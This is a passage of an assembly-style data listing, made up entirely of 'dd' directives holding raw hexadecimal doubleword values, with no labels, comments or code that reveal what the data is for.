0A1E9FB70h, 0A805D055h, 72FE952Dh dd 50A46D84h, 8B4698F4h, 634ED084h, 395D00A9h, 90963C04h dd 6F01EEB1h, 91B9B8F9h, 80E0F079h, 0A1070267h, 61D39E45h dd 0C0009CC5h, 0B885CA10h, 0ABD40CB1h, 0F1807397h, 691E8F76h dd 885D08C8h, 0AD3FE001h, 3C30D56Ah, 0D02C0020h, 0D42A9E39h dd 2901D66Eh, 0FA6F0962h, 0E3E06B75h, 70200065h, 21351077h dd 0C37D3C6h, 0E51079F0h, 0AC5F58h, 0A5A33DE7h, 2FA4BC7Ah dd 1A33D200h, 1E08F14Bh, 0CA4E0063h, 31205006h, 0D201F7FDh dd 0B9F8FAECh, 7BF14FC4h, 0D31D9440h, 1C3A01A0h, 37835638h dd 8A7FE0D2h, 0E967F41Dh, 61A560CCh, 61410046h, 11CC4F3Ah dd 0F960D19Ah, 0A424A018h, 0ABC10323h, 9520302Ch, 0F51A5AA8h dd 0A0D4A818h, 0F476B940h, 4A91FC6Fh, 1D48E86Eh, 0BC4335DEh dd 0E9A99FEh, 4ACF3E29h, 0E24194A0h, 44006555h, 0F593BCE0h dd 28AF8BAh, 0FD049521h, 3E0ACAAh, 281EB127h, 4B803E6Dh dd 1DAB89C4h, 71F30053h, 81FC78DFh, 8400585Dh, 3F0B1C33h dd 88A2A7h, 0FEBF6F20h, 78250D38h, 42E1D714h, 320E018Ch dd 3C6D8F10h, 12A4E08Ah, 383500F7h, 9802F26Ah, 7E56700h dd 1DCF8733h, 23C200B7h, 0D79AFF6Ch, 0B100303Eh, 342BE3A0h dd 1EA78266h, 0C33F98ADh, 0CC9D53A4h, 0F6058EF8h, 11330400h dd 2EF71332h, 2D6300FFh, 0B35E76A3h, 74003FE6h, 8C6FA621h dd 19865DDh, 66EDD091h, 0C175EA83h, 0D6C7DC63h, 614C0100h dd 0F7569703h, 587A7804h, 4F3E8060h, 78113200h, 0D7D0D818h dd 25ED6E0Ch, 37A1831h, 0C8F997CFh, 40F0FBEFh, 0B0F86E21h dd 0E8174F0Ch, 79A41A5h, 505C7A6Fh, 0E304A1F0h, 0F2088CE4h dd 7C2049h, 0FD4A7827h, 1C684C9Dh, 0C89CC00h, 0C0EC6AC1h dd 443C3A58h, 6B47E28Ch, 0B8317478h, 6D65A830h, 0A0C00FE5h dd 0C2801CC6h, 0CD9D87D9h, 8ACB202Bh, 5D0C6861h, 71D5D7F8h dd 63270124h, 2C068FDCh, 0C84AEC85h, 708C6400h, 0F2BF47A3h dd 0BCF900CAh, 932650ADh, 618ABB88h, 0F6E9DEF2h, 1D4D86F8h dd 1887F5EAh, 2FAA21FDh, 28DBE558h, 0E300385Eh, 0A11F1475h dd 80E7E2h, 570EB210h, 0D6517D3Ch, 1CF7831Eh, 0C2BC07C0h dd 3F34F16Ch, 0FC80F568h, 0BEB6E2E7h, 8F61B56Fh, 63744151h dd 404C8442h, 0E6D8659h, 892AA54h, 2DD68A60h, 2C002706h dd 83D8464Bh, 28EF690Bh, 3BD0200Ah, 3A7EAC7Ah, 0AA86B743h dd 8ADCE91h, 0F00B084h, 46C441FEh, 7D112A18h, 70316789h dd 350500E0h, 0B900D115h, 405B2FCFh, 1682B69h, 81604B4Dh dd 84447ADDh, 62F64978h, 0E81E2087h, 161FD9h, 0C8E308F9h dd 3560EAA7h, 15BF3258h, 74704Bh, 0D3C31B0Fh, 0BA51D7E4h dd 38079602h, 42163B67h, 4035625Ch, 0A7B9410Eh, 2760820h dd 20ED49CEh, 0CAF03D74h, 0AB52070Dh, 0F7D1F2EEh, 0BA14D0C9h dd 16001791h, 1AC78A08h, 4ED8C66h, 0B9F0C0C6h, 886C8E3Eh dd 403FC080h, 6B092B2Eh, 2194D0Bh, 855A9267h, 9CC63EFCh dd 0D76118C0h, 0B16339D2h, 554DC600h, 0CFAC7805h, 0B0A400D4h dd 50EDD337h, 9097EB4h, 18894127h, 2DF0B4Ch, 5F5DF618h dd 0C324EB25h, 0E5F1AC40h, 6D0327CCh, 0DAB68F69h, 0C33EA01Ch dd 0CD3490Ah, 0BB11D600h, 4F5EFAB5h, 0FCF84700h, 0C30B2458h dd 0D3ED0033h, 0ECB09D38h, 0E8E43089h, 25E12E09h, 871C2544h dd 0FD4E981Dh, 0E4031260h, 0D53EB442h, 66E75400h, 0F5CF9E1h dd 0F2166CEAh, 89B0E8CAh, 2F82BA7Bh, 0F8403FB0h, 5E145C4Ch dd 0BCBCB1AFh, 0CE008CC9h, 7FD6DD2Eh, 52F301Ah, 0D0756668h dd 0FCB84033h, 3CB6E115h, 6795DB00h, 1F276085h, 0A14E0324h dd 0E64336D2h, 90A8E17Ah, 5600989Fh, 79B21554h, 46BA0BCh dd 5976264Ch, 9D98C8CEh, 2716C302h, 90BA7797h, 13DE5DD0h dd 624DE95Ah, 402FD71Ch, 7690E5F3h, 8B080278h, 0FFFA1614h dd 43A59084h, 0F089621Ch, 14A364h, 61D7D25Ah, 7E3D1005h dd 0FC63B806h, 3FE104D1h dd 17804552h, 6A857CF9h, 8474A7BFh, 0F2218EFFh, 0B4F46092h dd 1364A882h, 443625E2h, 0D06274ECh, 3EAA1330h, 8FE7A400h dd 512F1A7Dh, 0A9000BEh, 6F89E669h, 50C25A86h, 0A0ED6232h dd 0FBBA3A94h, 0C12C0034h, 96713187h, 0FA70B04Dh, 18D8E309h dd 8F141AF2h, 609EA8ACh, 50137818h, 91A4A821h, 0FC2300BFh dd 3C6E2878h, 86B53E97h, 7433BD81h, 0D8875EBBh, 544210Eh dd 0C4BA0060h, 3FFE30DEh, 19C608F2h, 0F0710EEDh, 58FA1464h dd 36B8A062h, 0EDA9158Ch, 0EC052449h, 4F1FD66h, 0C46B0FD8h dd 26D40085h, 3AA897A7h, 4B665500h, 4A83DBD4h, 0E633EC20h dd 0EA35001Bh, 0E6493B17h, 0D7069DA8h, 149FB12Bh, 56EF0C40h dd 0F958F4EBh, 0C33A7E00h, 5C9B7283h, 69F139CBh, 0FC89F04Dh dd 49B60F87h, 4E9AF0B0h, 0E101E498h, 0AEAC4B08h, 80E4E2D2h dd 0F67F0052h, 13056FA4h, 23526906h, 41C60128h, 0A40CB697h dd 0FC92660Ch, 4B3AE300h, 6D773FCAh, 0E0F5079Dh, 34BEBD44h dd 83FC5D31h, 3341E278h, 6C5900EAh, 90D5A581h, 0E607281Eh dd 13AA2657h, 8C90CA44h, 0C7F437h, 1FBD8D6Ch, 8AAF4167h dd 0B1C9CD00h, 0EBA86EF6h, 65A10609h, 70EABF68h, 74D7372Eh dd 0C6C41826h, 4A2B841Eh, 61E897E0h, 603079A1h, 0C60EEF4Ch dd 721608h, 0EEF0139Dh, 905CB325h, 29181485h, 19B1B120h dd 0F0183619h, 31FCE06Dh, 0D0362252h, 4338243Eh, 2CE7CD3Dh dd 56844C04h, 2B01E445h, 8665B469h, 0AAE7E988h, 55900751h dd 40F002C3h, 789ACE2h, 0C928A390h, 0CA018C20h, 8D3269DDh dd 0D4514155h, 0EECD6DB2h, 0A2852082h, 0FCEAE269h, 0BEF40848h dd 203DA930h, 416DA59Dh, 0B8946055h, 0DE12048Ch, 6225F601h dd 0F0AB20C3h, 0F21D9EE5h, 56DF6D18h, 0CFBE2547h, 2DC27A70h dd 9D2CA0DCh, 0C04575C5h, 3941F510h, 1A009E72h, 0F14D1787h dd 76BAE1B1h, 1B7E0052h, 919BF01Dh, 97E494EAh, 1066500h dd 1A80FFF5h, 1FE422h, 96732B92h, 56A2C9E4h, 5ADD8E00h dd 2411BACBh, 0F6490ACh, 0B15D63B7h, 4725EA83h, 41E062C3h dd 0C41629B0h, 0B807ECF9h, 320C60Ah, 36841Bh, 74861997h dd 23FEDACAh, 0E21721F2h, 0A5004CF3h, 6D3F1624h, 94D500D4h dd 0C347B944h, 0D4E38470h, 0E21C5080h, 1D00E53Ah, 0F765BFACh dd 57A7068Ah, 1873EBBCh, 80568C38h, 0A3E8276Ch, 48B91C53h dd 0D91FCC9Ah, 4D1E0002h, 3BA22BADh, 8F03D0F0h, 17BF2AA7h dd 6FE7809Fh, 7349016Bh, 5191D1D8h, 6C80EB8Eh, 7007D3C7h dd 0CDED1C50h, 42E88C30h, 0C5B45056h, 4CAD48E6h, 0A034B503h dd 0DAC14603h, 63D0F0A3h, 0A5DE211Fh, 0F8F957DEh, 6ACD7600h dd 0F85B69ECh, 9F28C0C2h, 6B62095Ch, 3EF01C70h, 0CDFA63Eh dd 0D803AAACh, 44CE1E8h, 2DD203EEh, 74D86589h, 3987D808h dd 401B1D8Fh, 0C8185845h, 0E63AE779h, 0F74200DEh, 1DBE8E23h dd 0C16A1DB9h, 0EE02C3E4h, 8D90739Ah, 0B300A98Fh, 0DFA3F24Dh dd 2F3E31Ch, 0E05FC485h, 28815B23h, 0B8DA685Eh, 0E1C05019h dd 30027F88h, 0F4A9DEE2h, 60AC47EAh, 54E62B01h, 0CD1BD363h dd 0CCA0A888h, 0B0F3D000h, 0A0E05E75h, 29A490h, 988F2C0Ch dd 63E615A9h, 7E79FE61h, 7C4C8CD9h, 87F5481h, 0AC3CA0FCh dd 316A48BCh, 8450C63Eh, 9A0C84FEh, 40CB6803h, 14237BC1h dd 48102E5Bh, 5FC35108h, 309AD270h, 5348D5CAh, 3B602386h dd 0DB2FA239h, 0F6F0E403h, 0E3E60365h, 0C551F819h, 0C30684Ch dd 313A4657h, 0AF4200ADh, 92E5E68Eh, 0FF624D1Ah, 807193A1h dd 0FCA5411Ch, 0E6EA1A1Bh, 940042ABh, 14256923h, 9B117760h dd 1B86801h, 0D64E473Fh, 468FB9D4h, 0D9149084h, 0EF4E2A1h dd 5D1ED81Ah, 18940CFh, 615F1BC1h, 0AD7A0840h, 4FD63978h dd 55BB5B01h, 44642567h, 7DDC0434h, 78E6001Ch, 0DEA9087h dd 2C8380A7h, 8478BAD9h, 0A2615E5Dh, 0F57D9C90h, 2C4A18B8h dd 0BA2520BCh, 966AA1C0h, 4840418Eh, 0D01DBCC9h, 84815452h dd 0C7F5130Eh, 0C4044B80h, 0F7005EE6h, 5C1ED585h, 326A596Fh dd 0BD602FD8h, 660D40BEh, 686C2C41h, 80FF400Ch, 49302989h dd 0B7DD19CEh, 0F4020FCDh, 392688Ch, 0A0D4D964h, 54AA212Ah dd 0CD50EA70h, 5031D49Ah, 67B6208Eh, 0E3B0D0BFh, 0BE55AC41h dd 0C198E679h, 619C5B3Fh, 9A63F4B0h, 103466F1h, 0C1C507Ah dd 6D682206h, 0ED8E0CF5h, 42D301FEh, 0A33F001Ah, 4CE2F0B1h dd 390F30FFh, 0DB89ED9Fh, 686C8820h, 0F4031597h, 0DD8DD7Ch dd 6A08182Bh, 0D0192095h, 0E1049403h, 0EE9B79F9h, 0BC3A0039h dd 493EAC51h, 0DA0C8E1Bh, 802A2E63h, 813C12D0h, 600C09E8h dd 3E206CACh, 13B86B69h, 0AB2ED800h, 0C21BF8EDh, 9163A010h dd 0CA6287E0h, 9A3AE375h, 219330C8h, 9E2ADBh, 0DE14D29Ch dd 5B67A94Dh, 8D1C6400h, 69D31D6Ch, 0A2C42627h, 0DDA301F8h dd 33D4477h, 5231C1C7h, 1584BF0h, 84A98E73h, 203CCEE3h dd 0EA0041C4h, 0AD6C132Bh, 0CD2738h, 3B820146h, 9D9A6431h dd 84801C00h, 2B04A095h, 532D00F3h, 45D1B28Ah, 0BE00E7A6h dd 0FF9F8D5Eh, 0F68E4Dh, 31D2187Ch, 0DF75E3AFh, 1A53B600h dd 696380C3h, 6F7D3C55h, 16C85700h, 855D8AF1h, 24E80D0Fh dd 43348066h, 9B18ABh, 0FD9E54CDh, 2A901E35h, 0A5F7CE00h dd 0ECFBB681h, 55740385h, 0D22EEAC0h, 1CBD6900h, 0EB83231Fh dd 611300E3h, 415DC740h, 0C201B145h, 0BD1CCABAh, 5CD49408h dd 51F500F6h, 72344880h, 15307B90h, 0F9DA38EDh, 0C9E8F8h dd 8D58E595h, 4971B6DCh, 2A2C8198h, 750C4C19h, 37466041h dd 9098E906h, 0DC28938Dh, 71D50F0Eh, 0C837C1F5h, 0C0805033h dd 0B8C98366h, 3C2E0D44h, 0B60184A0h, 0B7BBEFF6h, 18FC5FD0h dd 0D0721CB3h, 0F2E7154h, 0DB009D99h, 0E108EC21h, 9D3C1DFEh dd 0E2A840DCh, 0B141C1A6h, 9A0D7A03h, 0B0A09CECh, 2B19A573h dd 71047436h, 449A14Dh, 0E17B78E3h, 4A001009h, 7210629Ah dd 0E5009B7Dh, 5F0BA248h, 27E8A319h, 5239A466h, 67891E08h dd 3E132E63h, 0F8D02054h, 0C3B00F37h, 266EA250h, 0C6D10A6Ch dd 50947241h, 85141848h, 34414C7Bh, 280C79A0h, 6C1C74FAh dd 231071DFh, 505D8D2Bh, 54BEA021h, 251A760h, 7B041808h dd 490CC0F8h, 81258BA2h, 0DAC9CCD3h, 1CA6A609h, 6E242703h dd 0A2204D70h, 30CA508h, 4C2A141Fh, 0F380CD64h, 58508A77h dd 0EE60238Bh, 5AF3693Ah, 90F10A51h, 705DABh, 3AD7E858h dd 74E654F2h, 3B9B0F14h, 40BB9FCh, 0FDF207EBh, 0FC17576h dd 198072EBh, 0E52B1896h, 55075EA1h, 27F8311Ah, 8343C0F2h dd 0A8FBF220h, 3490BF63h, 0BE194EDFh, 38B8310Ch, 858DF74h dd 6877EEDh, 48BCBFA4h, 0DEFF0010h, 70305DBAh, 717445BDh dd 61EBC530h, 24C29F01h, 80988D36h, 8127BA03h, 500C7453h dd 69C9AF4Ch, 0F2DE30CBh, 0D1C12E49h, 1103EBF0h, 0D444DDF3h dd 0B947AF7Bh, 2176540h, 0A73A0786h, 2375485Dh, 0F903C627h dd 8DA2B1B4h, 930FA19Dh, 0A1F41081h, 212456EDh, 0DA489B5Bh dd 31980009h, 0B25ECFB8h, 0C800157Ch, 2A1852C6h, 0E598C2h dd 0DF09399Eh, 555D865Fh, 92777C00h, 975ACD82h, 0A0D9C01Bh dd 0F5DCF4A1h, 0A2778CA8h, 0E88F5C30h, 75A8FC62h, 0FD2E0929h dd 0E4208CDFh, 8E220C39h, 219B5E0Fh, 0E85A0104h, 10EFFBFAh dd 2272F28h, 0F6F96087h, 0F3C0A076h, 7B288Ch, 0C9B5D688h dd 72DF5B3Ah, 96274700h dd 0FC98E581h, 1D78A3F6h, 3320E1h, 0CEECF586h, 3A7F808Bh dd 5D00D7EEh, 0D9AF6503h, 7505C4F7h, 218C6FDCh, 3B28ECAh dd 5B272BDEh, 0A8CFA028h, 4658AC80h, 51C7ED12h, 2CDEF800h dd 35D198h, 8896D99Dh, 0DC7F4E5Dh, 57A35220h, 0B040A848h dd 0EB841EF8h, 98B1702h, 14A2FA50h, 882071EDh, 0E42DE993h dd 0B8195769h, 0C4FA3D08h, 0E840DA44h, 2E751218h, 0F0631A0Fh dd 9640FC38h, 74FDEAE3h, 0E46F0017h, 127BDF46h, 0D4374E0Fh dd 0A64079CBh, 9081954Bh, 0CDFD017Ch, 0C8C09A1Dh, 0CA7BF047h dd 6FBFC20Fh, 23061FA3h, 1ED87009h, 0C059DA45h, 2A66417Fh dd 52703DB6h, 5072FE24h, 670203Eh, 6C10718Dh, 4304C863h dd 0AAB0DC7Ch, 0F25DC4D1h, 8CB853h, 0F5A7FA91h, 93F17FAAh dd 0D800A4AAh, 15CA877Ch, 964871E8h, 0E0F9A144h, 41E58C40h dd 0A48C41F8h, 0F01C0C81h, 980EB752h, 27366020h, 24B3F6FDh dd 0C730A42Eh, 9259EC11h, 0A32688A0h, 4C84D2E7h, 9BDC04F4h dd 181C059h, 1DAD627h, 207CE37Fh, 4B032EF0h, 0A45EA719h dd 0E0F5B141h, 4A4010F3h, 0BCA500A0h, 98B93B49h, 0B15863DAh dd 692259F3h, 14A50554h, 8831E848h, 750FB860h, 155ED686h dd 0DE270358h, 0AA988D49h, 9948909Ah, 26B528BAh, 79CE00F0h dd 0BF740219h, 38003345h, 0C8AF54B8h, 0A71A26h, 998DA563h dd 837ED689h, 0D401B890h, 46EB79D9h, 77F18AE4h, 80019450h dd 25411ABAh, 348571C9h, 9AB0042Fh, 0A4922327h, 88B09708h dd 547EA29Eh, 0F868B077h, 0FAFE95h, 0C445CE21h, 0C8EA2C0Ch dd 4AA63401h, 0A4FFE24Bh, 88EC0C20h, 7D78B965h, 268C2252h dd 2E0290DFh, 0BC4FE8Dh, 8864E601h, 0BE1C615Fh, 0FA160339h dd 0C0A79027h, 0CF0551CEh, 0ACA09A78h, 0DF82E659h, 0C8C1856Ah dd 0B4ADBC00h, 78050CA5h, 0ACCF3F86h, 0B728CDCCh, 743D28D0h dd 2430EFC8h, 1388095Bh, 37F51DFh, 0A2915E1Fh, 0BDFC9026h dd 69550342h, 0DE985F25h, 151A8180h, 80ED9F0Fh, 7ADB4368h dd 0D632D859h, 273A00D0h, 9C2484BEh, 0B10012FBh, 4D95C14Eh dd 93C02C4h, 5FAAA336h, 3D428081h, 0E8FF40A7h, 81008B58h dd 0BBEE7C3Ah, 1FA343C2h, 8A5E21D0h, 814A542h, 10BA8CFCh dd 4C08C3DDh, 86085147h, 0DE10B8C0h, 0CBA211F8h, 51278818h dd 513B5CD3h, 0DDE41874h, 89D1D029h, 9522C624h, 79A826A5h dd 6C6C6930h, 1C72A298h, 6BD19Dh, 644D83E3h, 6CB027D4h dd 29003790h, 0BA63B177h, 0FE52142h, 0BBFE8E07h, 47A72D20h dd 67007CDCh, 0F08C9D8Bh, 0F4B6B0E4h, 388F00CCh, 0B417E048h dd 0FF00D8B2h, 15F991AAh, 0CE34D6h, 218832DEh, 0C607E436h dd 1E54B600h, 0DCFAD172h, 43C0067h, 16890831h, 880F1958h dd 0F7C7FB7h, 7A6CE039h, 7535AA1Bh, 0BCE01C78h, 0DA7F43A9h dd 68EBA334h, 91A0F8EBh, 54010A47h, 38FBEE92h, 0B1CFCD20h dd 0C9EC63D9h, 9B3C006Fh, 9ABE5D7h, 43008293h, 0C7A5BEF7h dd 70783Ah, 9BF23992h, 882FDACFh, 6BBB261Dh, 29EE4D80h dd 0F2D47104h, 0BF640EC0h, 32825Eh, 0C1D1C6B8h, 5203DBBAh dd 1C9E3A22h, 6CE9E079h, 0A706502Bh, 1D5733Dh, 0B26EC7FDh dd 50B0CF68h, 9B0B0AB4h, 0DEA88D00h, 99E4EC7Fh, 0B0E5504Dh dd 0DA5000E0h, 0E9D29515h, 0D07610B6h, 56B1D700h, 1EAFBF4Ch dd 9F2FE7Ch, 85A7E78Ch, 48403080h, 0DC07B960h, 9B52FDD4h dd 0E0896190h, 0C711CFDFh, 9F8C1760h, 60F05314h, 0E63A207Fh dd 933A0174h, 8C33872Eh, 1F7BE824h, 40A2A79Dh, 7FF88C9h dd 351D6EE7h, 1BC0FDF2h, 0B4AB24F1h, 0C56D0227h, 9EC72BA7h dd 15797140h, 0BD0B5100h, 3AB36980h, 981100A8h, 1E729712h dd 0FA00C8B4h, 2895C0FCh, 1E91466h, 87335A55h, 80A20BB2h dd 4A32FA80h, 7BF43F8h, 545B5569h, 0C06E95D0h, 815C5C4h dd 7AD54C00h, 5CCCF3A6h, 92F6DFh, 3E1C899Fh, 1945A064h dd 0BFDCFB00h, 91A88107h, 3FCA009Eh, 3820F6CDh, 0C006E35h dd 7BF110EBh, 6D7DD1h, 7E7C501Ah, 0F8F44764h, 1C56923Dh dd 6C87D99Fh, 0F9FAAFEh, 8FCE4FA2h, 8F871CFBh, 1BD1B84Ch dd 18802605h, 0E206AF4Ah, 5E017F38h, 86DD57CFh, 9DFCFD64h dd 4D600050h, 0C2EEB4A6h, 0E10007BDh, 4C641E7Dh, 2715FE6h dd 0B87BD9F4h, 0C880DD89h, 0D3A179F7h, 4DC23Eh, 0BEE530C9h dd 7B9AA98h, 5585D19Bh, 71D8904Ch, 0E7B0E3B5h, 153DC07Ah dd 4DBA0128h, 0DB0FDF6Dh, 48F8EFD0h, 0DE0E56B6h, 10A0CC1Eh dd 53D5F916h, 0BCD9090Bh, 46F98037h, 1DC27D13h, 27A2E6h dd 4057B4D4h, 8F028E79h, 0D5551B6Ch, 8228C032h, 0ADC307CDh dd 50E034B0h, 0FD31B19Eh, 80283F00h, 7CD76225h, 61A0038h dd 0BA33F3B3h, 8D00501Dh, 0DFA05BC0h, 0F5178B8h, 1E7F31ABh dd 5EDC51Fh, 0DC1892F9h, 89028846h, 8286C449h, 0B2E080D8h dd 53BA71h, 7F7B5F3Dh, 0B6880A20h, 440095E2h, 0B58DF510h dd 5F4E47h, 803124E1h, 0EEDD7C04h, 0E5AD3000h, 0AFD0BDA8h dd 38070055h, 84860B88h, 730094F5h, 0A5BC9E21h, 0B9BB5Ch dd 33F66A54h, 0CD6B64E8h, 9743C90Eh, 0B02C2034h, 3ED93BB2h dd 0B10039DBh, 7518BE9Ch, 2B00D808h, 65C8928Dh, 3D59429Bh dd 2E801A60h, 9E3F19EBh, 67004EEAh, 0D6B2BBCBh, 0BD56CB3h dd 9B88B661h, 609EC427h, 0AB402297h, 39826A00h, 87DB6EFBh dd 20351F5Ah, 7F6C004Fh, 542413CBh, 80218A3Eh, 6320144h dd 0EA9BE335h, 889600A1h, 83610C2Ah, 0E400DFB3h, 1497A848h dd 765F3D8h, 0C53C38C8h, 0FCEF001Ah, 9200B560h, 0E910ECADh dd 5B837Ah, 0A4AB0DC3h, 0D9CE64ACh, 0C6F591Dh, 350B98EAh dd 0EC18DCh, 74B1EB0Ch, 8530007Eh, 4006F487h, 0AB00B80Bh dd 14606322h, 11B35h, 6973F009h, 4A7A0634h, 307D47Fh, 0C0BE3C2h dd 83DB474Fh, 0F1F2F350h, 1A710FD6h, 0A000FB3Ch, 5E749BE2h dd 99CF0D03h, 0C0C125E0h, 0FBA8E4Dh, 711B6909h, 0EF83138Fh dd 0C9E08985h, 21005123h, 3D49F53h, 16046Bh, 74DA73E9h dd 1C8C29B9h, 10F7F200h, 9564B14h, 39C3002Ch, 9093132Fh dd 5098AFA5h, 0DD38B71Dh, 0CD4C5280h, 0EA71A2h, 0AE2BFDA0h dd 447842BFh, 48B4CF00h, 410D1AE3h, 9DB10313h, 3120909Ch dd 0ACD3E8A0h, 34123B7Bh, 640EDDBFh, 0F61EC08Bh, 489B941h dd 0CD1F0590h, 55C0C02Fh, 0E400528Fh, 0E785FB91h, 0D37C3Eh dd 94386381h, 1F02C66h, 0C2008798h, 73EEAFB9h, 9DB6D35h dd 80763B96h, 729FA4C8h, 0FC994916h, 3C22A207h, 0CA80C049h dd 0F8294D92h, 0F5DF4200h, 16903351h, 3272ED00h, 7C22C698h dd 92D00CFh, 0CCF0D5B1h, 66B06AA8h, 0E65C4Ch, 4A785FF8h dd 7DC9241h, 0B8556C45h, 0B63A1097h, 70000430h, 96F38C16h dd 0EDA463h, 0F27B03E0h, 4F7CDF6Bh, 0EA824E07h, 43E1FF61h dd 7DE0E674h, 79E5009Eh, 0BA2C3007h, 0E0FDAA2h, 0EEF44246h dd 7F45617Eh, 1C34B6D7h, 3120383h, 0FDBBCEAFh, 53B6990h dd 9F849700h, 0D9F9B3A5h, 587BC8h, 38A94926h, 0C6640418h dd 5C12D707h, 4B80E7C0h, 3781A3Fh, 0CEB79E20h, 1FB01EDFh dd 142601A0h, 20324EAh, 98888DE2h, 3C65F2h, 3AB77881h dd 6703B980h, 9D1F9800h, 0AF47799Fh, 7FFE002Ch, 237D4A65h dd 0CC009231h, 0DEFCC42Dh, 9681996Ah, 3C2A87D4h, 0BFCC4AA5h dd 0DB263E00h, 40B59BDCh, 0FFF8671Ch, 5785A540h, 1CF41258h dd 0C09F1455h dd 8B7D6DBBh, 2500BC69h, 6DFFC3Ch, 12734E89h, 3AE3E2h dd 587A63C5h, 740FD691h, 6099BF56h, 78B0855Eh, 0A6920037h dd 0C401C9CEh, 0FE00CC21h, 0C3E45F80h, 367304Eh, 0BDD8BA14h dd 80B7F508h, 0F298819Ch, 94C5891Ch, 0F8C3D4C0h, 129E4Ah dd 1F7170CDh, 7CC6055Ch, 7EDA9400h, 0FA756A95h, 0A1D20086h dd 26D38420h, 4B0110FEh, 7147F22Fh, 8851DA75h, 0C820082Bh dd 0E31D0045h, 0ED20B2A2h, 14077F9Eh, 135E782Eh, 0FE75DBD0h dd 80DA009Dh, 928F4438h, 341F5ACFh, 0C300DF8Bh, 7B6F4D19h dd 475E2C39h, 57380084h, 0AB7A4CB8h, 4A29BCA0h, 0EFA03013h dd 180D6400h, 9AE179F5h, 163A056Ch, 2068B505h, 89AC82C8h dd 0A8DD1E28h, 4C00CCF0h, 70E0C09Eh, 1F0D2Bh, 79FB204Eh dd 926FBC6Ch, 29C73800h, 73F86493h, 0C5B018EBh, 0F97EDECDh dd 0F4725E09h, 9A8D802Fh, 7A75BDh, 67479954h, 733C1912h dd 7452B51Fh, 0F69B890Eh, 1A34FA00h, 24B11F46h, 71DAD3Eh dd 9363143h, 0A151EF80h, 0E6005570h, 66D5C5A6h, 1CE88BD1h dd 0F3ECCE1h, 0D94340E2h, 0A0F77FA4h, 5B05A7B4h, 98836C24h dd 79885607h, 24199330h, 37A000B9h, 0B11707FDh, 1C0092B0h dd 0BC189D20h, 8BFB43h, 0BB850684h, 0F511CA3Bh, 0DB86FC00h dd 0FDCC465Dh, 67DA24A9h, 0ED6F006Ch, 1814A1F8h, 84EFF100h dd 0B51E6AB0h, 98E0FBh, 57B943FEh, 71523C7Fh, 0D0C2B700h dd 0A9B0445Ch, 475A3F4Fh, 36DA4ACh, 0D2FF82EAh, 507ADEE0h dd 950AC916h, 494E6007h, 6D704401h, 983D5030h, 30410070h dd 618964EDh, 133CEE34h, 0A951005Dh, 1FF6CC9Bh, 9DD0048Ch dd 0E0867C20h, 0F81FAEC8h, 580068DAh, 8E3AFFF9h, 672000Eh dd 0D0C6641h, 1D3CFAD3h, 1F8081F8h, 96F76912h, 85F1E0h dd 9F6595C0h, 0B6053513h, 222D4D00h, 53DCD778h, 0CC1F2E9Bh dd 0EDA70733h, 36D80B1h, 0C607D54Ah, 0CAA5E082h, 9AAD850h dd 2BEF642h, 69251867h, 0A8A0D32Bh, 0E9FD1664h, 88274300h dd 0F8783ACCh, 1E08EA0Bh, 0A6A157BFh, 0A9D600E0h, 0CDF64FECh dd 47749505h, 5BC0E0CFh, 3DFBC3B5h, 0DA3A2ED5h, 0CD57820Fh dd 84BB6AC0h, 1D7D27C8h, 83E7E33Eh, 0BE589B38h, 7587A845h dd 17F93B02h, 0EE4EFE84h, 63A780C1h, 85FE345Ch, 12682F5Dh dd 30C09BE9h, 5F066Bh, 51151DB8h, 0CBA168D1h, 1A87EC00h dd 6A889D32h, 0F0D9817h, 79474D40h, 58CED61h, 0F0F2E8A8h dd 0EB3AA700h, 0BE4A2DAFh, 31380211h, 9299F88h, 0B7804C8h dd 1FC72094h, 0B7AA62F0h, 0FFF500C1h, 250477BEh, 98122D45h dd 0F401EE76h, 0AB3C120Eh, 1AA3F740h, 185261A7h, 0E0CBA5E6h dd 0A10091C8h, 5E54B8ECh, 7CE59907h, 49A20093h, 2CBE5A50h dd 920083E7h, 9C46E6ACh, 5E3129h, 0BFF26236h, 0E5183EB6h dd 4BC5F300h, 0D5565D09h, 3FAF0025h, 24D79011h, 0D41E9D29h dd 0C91F8A4Fh, 0E9E12782h, 4AF9E0C3h, 6B73005Eh, 0A5EE2967h dd 0C0570E3h, 0BADA72A7h, 1E4AE8E0h, 0DDF27737h, 4527409Ch dd 4FB5FF6Eh, 0C55F0B00h, 3B6DFE4Ch, 7CDBFC69h, 70ED008Ah dd 20EF36EAh, 6701D1AAh, 0D2A97C95h, 6AC41556h, 931D005Eh dd 7DBC3124h, 6F04FD21h, 0CAC90179h, 0A4150EAAh, 8059D884h dd 34DD0790h, 0F6EC5B00h, 5E35582Ah, 0A1A700C4h, 6D038E29h dd 0FC006E6Ch, 0A3544FB4h, 3D23E3CAh, 0F192D8FAh, 74D40052h dd 95FEC7DEh, 0A0D4B300h, 43C56D0Eh, 864F3A6Fh, 49EA7680h dd 0D6BF1BCFh, 7944D402h, 0C07B918Fh, 233443h, 0BA13A781h dd 0AEAA8CB9h, 72B36C01h, 3198E036h, 4F951424h, 0C86C30CFh dd 0B0F0FC8Ch, 0E7EEF609h, 0AF0C2069h, 24A1C135h, 0F9F915h dd 0E13997A8h, 93F4DC8h, 37118C6Fh, 13BA613h, 607B845Ah dd 0E8CE636Ch, 0D31D505Dh, 0B940A262h, 31F6E8BBh, 0AF3D01F3h dd 0FE0A6567h, 0C69E3088h, 5A9258h, 6AE21893h, 7B15519Eh dd 0FE8A3EDDh, 0AEFA0680h, 4954C402h, 610E9C00h, 0EA9B7231h dd 0BB01F5Dh, 0F5140107h, 0C01CF788h, 0FE1FBBBDh, 0C0C4D56Ch dd 0B8E03AEBh, 3962018Eh, 9ADB7025h, 1123F8B6h, 3622A803h dd 0E03F1F0Ch, 0E4A19Ch, 9A78348Ah, 3DE97191h, 0F4169000h dd 9DC529F3h, 0D5B90026h, 6D0AB61Fh, 0F809E4DCh, 6408C22Eh dd 3C8B2430h, 0AD813F5Ah, 0A297D2Ch, 4B656068h, 0F57D1AECh dd 0D076BB8h, 0A4CA468Bh, 91B4A0ABh, 8DFE9Eh, 0F1CBF0B5h dd 7F528A84h, 0DD0F0100h, 3E543772h, 0F3920748h, 0F7BFC8B6h dd 0A06D30Bh, 2C28E1B8h, 6AB7D40Fh, 364EE025h, 31D83CEh dd 335F4A3Eh, 0D2B194F6h, 9F21801Fh, 0F00BE57Eh, 6FC00B1h dd 0A763EA38h, 0AB0CAA5Fh, 0DE886F7Bh, 0C48700AEh, 0E66AEF4Eh dd 89725C6Ch, 0A900DDF6h, 0CA94D935h, 2C12BBh, 189AD06Fh dd 0A614F0EDh, 356C0E00h, 